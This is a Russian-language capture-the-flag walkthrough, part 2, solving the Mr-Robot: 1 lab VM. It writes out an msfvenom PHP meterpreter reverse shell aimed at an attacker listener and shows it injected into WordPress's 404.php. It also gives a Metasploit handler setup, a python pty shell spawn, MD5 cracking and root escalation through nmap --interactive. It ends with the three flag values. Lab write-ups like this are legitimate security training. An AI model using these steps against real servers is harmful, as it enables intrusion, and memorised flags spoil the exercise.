Capture the Flag, CTF, Mr. Robot CTF

#2 Mr-Robot: 1 CTF Walkthrough. Часть 2.

Продолжаем исследовать сайт на Wordpress, и давайте посмотрим, являемся ли мы обычным пользователем или администратором.

Mr-Robot 1 Walkthrough Решение CTF Часть 2

Для этого нужно перейти на вкладку «Users», далее «All Users»:

Продолжаем исследовать сайт на Wordpress, и давайте посмотрим, являемся ли мы обычным пользователем или администратором. Для этого нужно перейти на вкладку «Users», далее «All Users»

Как видим, у нас есть права администратора, и это прекрасно, так как сайт под нашим управлением, и мы можем залить шелл (reverse shell) на него. Это делается для того, чтобы получить обратное соединение с сервером.

Для начала его надо сгенерировать. Мне понадобится инструмент «MsfVenom», а команда для генерации будет выглядеть следующим образом:

«msfvenom -p php/meterpreter/reverse_tcp lhost=10.0.2.5 lport=4444 -f raw>shell.php», где опция «-p» — это пэйлоад, а «-f» — это формат вывода.

Более подробнее можете ознакомиться в справке «msfvenom -h». Я сгенерирую шелл на Рабочем столе, в директории «mr_robot», и назову его «shell.php»:

Я сгенерирую шелл на Рабочем столе, в директории «mr_robot», и назову его «shell.php»

Все отлично, теперь мне нужно внедрить код сгенерированного шелла на сайт Wordpress. Это можно сделать с помощью редактора кода в панели управления.

Для эксперимента я возьму страницу ошибки 404, чтобы все выглядело неприметно. Нужно перейти на вкладку «Appearance», далее выбрать «Editor», и в списке открыть код страницы «404.php»:

Нужно перейти на вкладку «Appearance», далее выбрать «Editor», и в списке открыть код страницы «404.php»

После этого идем в директорию «mr_robot», и открываем файл «shell.php»:

После этого идем в директорию «mr_robot», и открываем файл «shell.php»

Копируем весь код файла, кроме первых двух символов «/*», которые означают комментарий, и вставляем его в редактор Wordpress:

Копируем весь код файла, кроме первых двух символов «/*», которые означают комментарий, и вставляем его в редактор Wordpress

Все хорошо, шелл внедрен успешно.

Теперь нам нужно установить обратное соединение с сайтом, при помощи фреймворка «Metasploit».

Запускаем по-порядку команды:

msfconsole

msf use exploit/multi/handler

msf exploit(multi/handler) set PAYLOAD php/meterpreter/reverse_tcp

msf exploit(multi/handler) set LHOST 10.0.2.5

msf exploit(multi/handler) set LPORT 4444

msf exploit(multi/handler) show options

Теперь нам нужно установить обратное соединение с сайтом, при помощи фреймворка «Metasploit».

Запускаем настроенный пэйлоад, с помощью команды exploit:

Запускаем настроенный пэйлоад, с помощью команды exploit

Мы в режиме ожидания входящего подключения.

Переходим на сайт Wordpress, в частности на страницу: http://10.0.2.6/404.php/:

Переходим на сайт Wordpress, в частности на страницу: http://10.0.2.6/404.php/

Происходит соединение.

Переходим в Metasploit и видим открывшуюся сессию «meterpreter»:

Переходим в Metasploit и видим открывшуюся сессию «meterpreter»

Перемещаясь по серверу, я обнаружил интересную директорию «/home», в которой лежит директория «robot/», и в ней есть два файла:

Перемещаясь по серверу, я обнаружил интересную директорию «/home», в которой лежит директория «robot/», и в ней есть два файла

Это файл «key-2-of-3.txt» и «password.raw-md5». Откроем эти файлы, с помощью команды «cat»:

Это файл «key-2-of-3.txt» и «password.raw-md5». Откроем эти файлы, с помощью команды «cat»

Да, не все так просто. Файл с ключом, естественно не открылся, но существует подсказка, в виде второго файла. Он представляет собой зашифрованный хэш md5. Разработчик оставил нам подсказку в расширении файла. Этот хэш мы и будем расшифровывать с помощью  онлайн-декодера. Я взял первый попавшийся сайт в интернете:

Разработчик оставил нам подсказку в расширении файла. Этот хэш мы и будем расшифровывать с помощью  онлайн-декодера.

Хеш довольно быстро был расшифрован, и представляет собой последовательность английского алфавита.

В дальнейшем мы можем реализовать два пути, а именно написать однострочный скрипт, либо попробовать войти в систему с помощью пары «логин:пароль», использовав связку значений: robot:abcdefghijklmnopqrstuvwxyz. Что использовать, решать Вам.

Я покажу, как можно реализовать TTY shell. Для начала нужно прописать команду «shell», чтобы войти в соответствующий режим. После этого пропишем небольшой скрипт:

python -c ‘import pty;pty.spawn(«/bin/bash»)’

python -c 'import pty;pty.spawn("/bin/bash")'

Это пользователь с именем «robot», и мы можем войти в систему, авторизовавшись как «robot»:

Это пользователь с именем «robot», и мы можем войти в систему, авторизовавшись как «robot»

Можно теперь догадаться, для чего лежал файл, зашифрованный в md5. Вводим его:

Можно теперь догадаться, для чего лежал файл, зашифрованный в md5. Вводим его

Все отлично, мы авторизовались под пользователем «robot».

Теперь можем попытаться просмотреть директории по-новой и открыть файл со вторым ключом:

Теперь можем попытаться просмотреть директории по-новой и открыть файл со вторым ключом

Все отлично, мы получили второй ключ.

Давайте завершим поиск третьего ключа. Исходя из того, что мы находимся с правами обычного пользователя, имеют место быть root-права. Попробуем просмотреть содержимое директории / root/, с помощью команды «ls / root /»:

 Попробуем просмотреть содержимое директории / root/, с помощью команды «ls / root /

Как видим, доступ запрещен, так как у нас нет прав root. После продолжительного изучения директорий и файлов, я наткнулся на инструмент «nmap». Проверим его версию:

После продолжительного изучения директорий и файлов, я наткнулся на инструмент «nmap». Проверим его версию

Версия 3.81. Старенькая, но тем не менее поддерживает параметр «— — interactive». С помощью него пользователи могут выполнять команды оболочки с помощью nmap «shell» (интерактивная оболочка).

Давайте попробуем запустить nmap с этим параметром:

Давайте попробуем запустить nmap с этим параметром

Как видите, я воспользовался цепочкой стандартных команд, которые ведут к получению доступа к root-директории, и последующим открытием третьего ключа. Это достаточно простой способ получения ключа, но тем не менее он рабочий.

Все задания выполнены, и мы успешно нашли все три ключа.

Вот список ключей:

1. key-1-of-3.txt «073403c8a58a1f80d943455fb30724b9»

2. key-2-of-3.txt «822c73956184f694993bede3eb39f959»

3. key-3-of-3.txt «04787ddef27c3dee1ee161b21670b4e4».

На этом завершаю решение. Всем хорошего дня!

#1 Mr-Robot: 1 CTF Walkthrough. Часть 1.